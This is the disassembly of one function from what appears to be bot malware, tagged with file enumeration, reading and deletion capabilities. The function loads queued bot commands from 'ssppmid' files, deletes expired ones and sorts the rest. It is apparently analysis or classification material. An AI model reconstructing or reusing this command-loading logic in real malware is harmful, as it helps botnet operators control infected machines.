Function at 0x100028f0
Capabilities:
Delete file
Enumerate files on windows
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1604
call fcn.10008380
push ebx
push ebp
push esi
lea eax, [esp + 0x50]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea ecx, [esp + 0x24]
lea edx, [esp + 0x54]
push ecx
push edx
call dword [sym.imp.OLEAUT32.dll_VariantTimeToSystemTime]
push str.ssppmid
lea eax, [esp + 0x1410]
push str._s
push eax
call fcn.1000858d
add esp, 0xc
lea ecx, [esp + 0x6f4]
lea edx, [esp + 0x140c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0x18], edi
jne 0x10002968
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
push 0x10014644
call fcn.100081f6
mov ebp, dword [sym.imp.KERNEL32.dll_ReadFile]
add esp, 4
mov dword [0x100180b8], 0
lea eax, [esp + 0x720]
push 0x10014640
push eax
call fcn.100085fc
add esp, 8
test eax, eax
je 0x10002b80
lea ecx, [esp + 0x720]
push 0x10014638
push ecx
call fcn.100085fc
add esp, 8
test eax, eax
je 0x10002b80
test byte [esp + 0x6f4], 0x10
jne 0x10002b80
lea edx, [esp + 0x720]
lea eax, [esp + 0xda4]
push edx
push str.ssppmid
push str._s_s
push eax
call fcn.1000858d
mov eax, dword [esp + 0x720]
add esp, 0x10
test eax, eax
ja 0x10002b80
cmp dword [esp + 0x714], 0x28
jb 0x10002b80
push 0
push 0x80
push 3
push 0
push 3
lea ecx, [esp + 0xdb8]
push closesocket
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x10002b80
lea edx, [esp + 0x1c]
push 0
push edx
lea eax, [esp + 0x34]
push 0x28
push eax
push esi
call ebp
test eax, eax
jne 0x10002a58
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10002b80
mov edx, dword [esp + 0x48]
mov eax, dword [esp + 0x714]
lea ecx, [edx*8 + 0x28]
cmp ecx, eax
jbe 0x10002a7a
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10002b80
fild dword [esp + 0x3c]
fadd qword [esp + 0x34]
fcomp qword [esp + 0x24]
fnstsw ax
test ah, 1
je 0x10002aa7
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0xda4]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x10002b80
xor ebx, ebx
test edx, edx
jbe 0x10002b64
mov ecx, 0x8c
xor eax, eax
lea edi, [esp + 0x4c4]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x2c]
mov dword [esp + 0x4dc], edx
mov edx, dword [esp + 0x44]
mov dword [esp + 0x4c8], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 0x4c4], edx
mov dword [esp + 0x4d4], eax
lea edx, [esp + 0xda4]
mov dword [esp + 0x4cc], ecx
mov ecx, dword [esp + 0x38]
lea eax, [esp + 0x4ec]
push edx
push eax
mov dword [esp + 0x4e0], ecx
call fcn.10008354
add esp, 8
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x4e4]
push 0
push ecx
push 8
push edx
push esi
call ebp
mov ecx, dword [0x10018088]
lea eax, [esp + 0x4c4]
push eax
push 1
push ecx
mov ecx, 0x10018080
call fcn.10003100
mov edx, dword [0x100180b8]
inc edx
inc ebx
mov dword [0x100180b8], edx
mov edx, dword [esp + 0x48]
cmp ebx, edx
jb 0x10002ab1
mov edi, dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x4ec]
push edx
push str._t_CmdNum___s_r_n
call fcn.100081f6
add esp, 8
lea eax, [esp + 0x6f4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x10002985
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [0x100180b8]
test eax, eax
jbe 0x100030e7
push eax
push str._t_BotCmdCount_____d....._r_n
call fcn.100081f6
mov esi, dword [0x10018088]
mov ebp, dword [0x10018084]
mov ecx, esi
mov eax, 0xea0ea0eb
sub ecx, ebp
add esp, 8
imul ecx
add edx, ecx
mov dword [esp + 0x18], esi
sar edx, 9
mov ecx, edx
mov dword [esp + 0x20], ebp
shr ecx, 0x1f
add edx, ecx
cmp edx, 0x10
jg 0x10002ced
cmp ebp, esi
je 0x100030e7
lea ebx, [ebp + 0x230]
cmp ebx, esi
mov dword [esp + 0x10], ebx
je 0x100030e7
lea edx, [ebx - 0x230]
mov dword [esp + 0x14], edx
mov ecx, 0x8c
mov esi, ebx
lea edi, [esp + 0x294]
lea eax, [esp + 0x294]
push ebp
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.100036e0
add esp, 8
test al, al
jne 0x10002c96
mov ecx, 0x8c
lea esi, [esp + 0x294]
lea edi, [esp + 0x64]
lea edx, [esp + 0x64]
rep movsd dword es:[edi], dword [esi]
mov edi, ebx
mov ebx, dword [esp + 0x14]
mov ecx, ebx
push ecx
push edx
call fcn.100036e0
add esp, 8
test al, al
je 0x10002c85
mov ecx, 0x8c
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov edi, ebx
sub ebx, 0x230
lea eax, [esp + 0x64]
push ebx
push eax
call fcn.100036e0
add esp, 8
test al, al
jne 0x10002c62
mov ebx, dword [esp + 0x10]
mov ecx, 0x8c
lea esi, [esp + 0x64]
rep movsd dword es:[edi], dword [esi]
jmp 0x10002cc4
cmp ebp, ebx
mov eax, ebx
je 0x10002cb4
sub eax, 0x230
mov ecx, 0x8c
mov esi, eax
cmp eax, ebp
lea edi, [eax + 0x230]
rep movsd dword es:[edi], dword [esi]
jne 0x10002c9c
mov ecx, 0x8c
lea esi, [esp + 0x294]
mov edi, ebp
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
add ebx, 0x230
add ecx, 0x230
cmp ebx, eax
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], ecx
jne 0x10002c11
jmp 0x100030e7
mov ebx, esi
cmp edx, 0x10
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], ebp
jle 0x10002f5f
jmp 0x10002d0a
mov ebx, dword [esp + 0x14]
mov ebp, dword [esp + 0x10]
lea esi, [ebx - 0x230]
mov ecx, 0x8c
lea edi, [esp + 0x944]
mov eax, 0xea0ea0eb
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edi, [esp + 0x294]
sub ecx, ebp
imul ecx
mov eax, edx
add eax, ecx
sar eax, 9
mov ecx, eax
shr ecx, 0x1f
add eax, ecx
cdq
sub eax, edx
lea edx, [esp + 0x294]
sar eax, 1
push edx
lea ecx, [eax*8]
sub ecx, eax
lea eax, [esp + 0xb78]
push eax
lea esi, [ecx + ecx*4]
mov ecx, 0x8c
shl esi, 4
add esi, ebp
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x8c
mov esi, ebp
lea edi, [esp + 0xb7c]
rep movsd dword es:[edi], dword [esi]
call fcn.100036e0
add esp, 8
test al, al
je 0x10002dcf
lea ecx, [esp + 0x944]
lea edx, [esp + 0x294]
push ecx
push edx
call fcn.100036e0
add esp, 8
test al, al
jne 0x10002e17
lea eax, [esp + 0x944]
lea ecx, [esp + 0xb74]
push eax
push ecx
call fcn.100036e0
add esp, 8
lea esi, [esp + 0x944]
test al, al
jne 0x10002e1e
lea esi, [esp + 0xb74]
jmp 0x10002e1e
lea edx, [esp + 0x944]
lea eax, [esp + 0xb74]
push edx
push eax
call fcn.100036e0
add esp, 8
test al, al
je 0x10002df4
lea esi, [esp + 0xb74]
jmp 0x10002e1e
lea ecx, [esp + 0x944]
lea edx, [esp + 0x294]
push ecx
push edx
call fcn.100036e0
add esp, 8
lea esi, [esp + 0x944]
test al, al
jne 0x10002e1e
lea esi, [esp + 0x294]
mov ecx, 0x8c
lea edi, [esp + 0xfac]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x8c
lea esi, [esp + 0xfac]
lea edi, [esp + 0x64]
rep movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x64]
push eax
push ebp
call fcn.100036e0
add esp, 8
test al, al
je 0x10002e68
lea ecx, [esp + 0x64]
add ebp, 0x230
push ecx
push ebp
call fcn.100036e0
add esp, 8
test al, al
jne 0x10002e50
sub ebx, 0x230
lea edx, [esp + 0x64]
push ebx
push edx
call fcn.100036e0
add esp, 8
test al, al
je 0x10002e98
sub ebx, 0x230
lea eax, [esp + 0x64]
push ebx
push eax
call fcn.100036e0
add esp, 8
test al, al
jne 0x10002e80
cmp ebx, ebp
jbe 0x10002ed2
mov ecx, 0x8c
mov esi, ebp
lea edi, [esp + 0x11dc]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x8c
mov esi, ebx
mov edi, ebp
add ebp, 0x230
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x8c
lea esi, [esp + 0x11dc]
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
jmp 0x10002e3e
mov ebx, dword [esp + 0x14]
mov eax, 0xea0ea0eb
mov esi, ebx
mov edi, dword [esp + 0x10]
sub esi, ebp
push 0
imul esi
mov ecx, edx
mov eax, 0xea0ea0eb
add ecx, esi
mov esi, ebp
sar ecx, 9
mov edx, ecx
sub esi, edi
shr edx, 0x1f
add ecx, edx
imul esi
add edx, esi
push fcn.100036e0
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp ecx, edx
jg 0x10002f27
push ebx
push ebp
call fcn.10003450
add esp, 0x10
mov dword [esp + 0x14], ebp
mov ebx, ebp
jmp 0x10002f37
push ebp
push edi
call fcn.10003450
add esp, 0x10
mov dword [esp + 0x10], ebp
mov edi, ebp
mov ecx, ebx
mov eax, 0xea0ea0eb
sub ecx, edi
imul ecx
add edx, ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
cmp edx, 0x10
jg 0x10002d02
mov ebp, dword [esp + 0x20]
mov esi, dword [esp + 0x18]
lea eax, [ebp + 0x2300]
cmp ebp, eax
je 0x10003066
lea ebx, [ebp + 0x230]
cmp ebx, eax
mov dword [esp + 0x14], ebx
je 0x10003066
lea edx, [ebx - 0x230]
mov dword [esp + 0x10], edx
mov ecx, 0x8c
mov esi, ebx
lea edi, [esp + 0x294]
lea eax, [esp + 0x294]
push ebp
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.100036e0
add esp, 8
test al, al
jne 0x1000300e
mov ecx, 0x8c
lea esi, [esp + 0x294]
lea edi, [esp + 0x64]
lea edx, [esp + 0x64]
rep movsd dword es:[edi], dword [esi]
mov edi, ebx
mov ebx, dword [esp + 0x10]
mov ecx, ebx
push ecx
push edx
call fcn.100036e0
add esp, 8
test al, al
je 0x10002ffd
mov ecx, 0x8c
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov edi, ebx
sub ebx, 0x230
lea eax, [esp + 0x64]
push ebx
push eax
call fcn.100036e0
add esp, 8
test al, al
jne 0x10002fda
mov ebx, dword [esp + 0x14]
mov ecx, 0x8c
lea esi, [esp + 0x64]
rep movsd dword es:[edi], dword [esi]
jmp 0x1000303c
cmp ebp, ebx
mov eax, ebx
je 0x1000302c
sub eax, 0x230
mov ecx, 0x8c
mov esi, eax
cmp eax, ebp
lea edi, [eax + 0x230]
rep movsd dword es:[edi], dword [esi]
jne 0x10003014
mov ecx, 0x8c
lea esi, [esp + 0x294]
mov edi, ebp
rep movsd dword es:[edi], dword [esi]
mov edx, dword [esp + 0x10]
add ebx, 0x230
lea eax, [ebp + 0x2300]
add edx, 0x230
cmp ebx, eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], edx
jne 0x10002f89
mov esi, dword [esp + 0x18]
mov ebp, eax
cmp ebp, esi
je 0x100030e7
lea ebx, [ebp - 0x230]
mov dword [esp + 0x10], ebx
jmp 0x1000307c
mov ebx, dword [esp + 0x10]
mov ecx, 0x8c
mov esi, ebp
lea edi, [esp + 0x64]
push ebx
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x68]
mov edi, ebp
push ecx
call fcn.100036e0
add esp, 8
test al, al
je 0x100030c0
mov ecx, 0x8c
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov edi, ebx
sub ebx, 0x230
lea edx, [esp + 0x64]
push ebx
push edx
call fcn.100036e0
add esp, 8
test al, al
jne 0x1000309d
mov eax, dword [esp + 0x18]
mov ecx, 0x8c
lea esi, [esp + 0x64]
add ebp, 0x230
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x10]
add ecx, 0x230
cmp ebp, eax
mov dword [esp + 0x10], ecx
jne 0x10003078
push str._____End_LoadCmdList________r_n
call fcn.100081f6
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret